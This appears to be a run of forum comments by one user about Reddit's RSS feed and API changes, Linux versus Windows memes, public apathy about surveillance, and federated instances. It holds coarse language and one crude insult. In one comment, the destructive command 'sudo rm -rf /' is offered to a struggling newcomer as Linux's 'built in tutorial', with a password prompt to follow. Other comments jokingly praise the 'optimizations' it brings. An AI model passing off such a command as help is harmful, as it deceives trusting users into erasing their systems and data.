Cool, thanks for explaining.

I doubt they’d be bothered too much by impacting the first part though, they’ve shown to be entirely willing to lose userbase in order to force their app, so retention probably doesn’t interest them there if people start using the RSS feed as a 3rd party app.

I think the crux of it would come more down to whether or not they want to deal with the potential SEO hit that could come from getting rid of it.

Should be interesting to watch how they handle it, at any rate.

On a personal note, I’m pretty much done with Reddit after how they’ve acted recently, but watching them running around in the road, trying to play with the busses is genuinely fascinating.

Wrong, fuck this guy: :)

Interesting, what does Reddit even use an RSS feed for? I’m trying to figure out why they’d even have that still going today and coming up empty.

That’s cool and everything, but if it’s scraping the site they’ll block that shit straight away, they’ve already said as much and scraper blocking is relatively easy to do these days.

Good luck though.

I can imagine some alpha-cunt Tate-esque grifter selling courses on how to “Just Shout at People” like it’s some sort of magic spell that mysteriously makes everything that you want happen.

Selling it like it’s the hidden secret sauce to the universe or whatever, rather than just being a dick to everyone.

Would the community even be any worse, I wonder? :)

Pretty much. Made perfect sense in my head at the time.

I totally see how it would be ambiguous now though.

Yep. Laughs in FOSS would have worked way better than mine.

Thanks for the other pointers too, although I really didn’t need the mental image of windows update happening 60 times a second, thank you very much. :)

Well, maybe I’m just not good at memes (almost certainly the case tbh) but Microsoft are talking about windows switching to being a largely cloud based OS, hence their Windows 365 talk recently.

Which is horrible, obviously.

Laughs in KDE could have been any distro, more about not having to deal with the eventual clusterfuck that’s coming towards windows users…

There it is folks, someone had to explain their fucking meme. See that, that’s what a shit meme looks like. :p

Ha! Goddamnit I walked right into that, didn’t I?

Goddamn Kali and it’s wireless drivers.

Good Human.

By not mentioning the Activity Pub protocol or FOSS (and then going off on GNU shit with direct quotes from Richard Stallman) even once, this is straining the bounds of possibility.

Lol, I know what you mean.

Isn’t it fucked up how we all say that linux doesn’t have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn’t have “Tree” or “Awk” just sitting there waiting to ruin your whole day.

I swear to God Canonical have some things to answer for.

Well, technically it teaches you how to optimize your system.

That said, the optimizations are really effective.

All good points.

That’s why I love communities like these, there are always people willing to expound upon other’s solutions with solid additional information.

It’s what makes forums like these such goldmines of information when you’re first cutting your teeth learning new things.

Upvoted.

It’s great, isn’t it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system’s using now that you’ve run the tutorials. It’s almost like nothing’s going on in the background at all.

This is the reason that BASH will always be better than Powershell, imho.

I’m not sure that they ever did.

The turning point for me when I really got a concrete realisation about people absolutely not giving a shit about this was when Snowden came out and I saw the majority of people just go “Eh, that’s pretty fucked, whatever”, and then immediately jump straight back into scrolling facebook all day long.

I realised then that there probably wasn’t any point expecting anything from them. I don’t have much sympathy left for people in this regard anymore.

Most people legitimately don’t give a shit about this issue. I think that they really should, but they absolutely don’t for the most part.

I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.

It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

sudo rm -rf /

Type your password when prompted and you’re golden. No more linux issues ever again.

Would make it a little like work email addresses too.

Say, if NYT had their own instance and disabled open sign-ups for user accounts, you could be certain that any account posting from that instance is a legit NYT account.

This right here.

It’s not about disliking some community that someone personally disagrees with for whatever reason, it’s about trying to not have the entire system taken down by a vastly powerful corporate entity with an almost endless track record of being consistently malignant.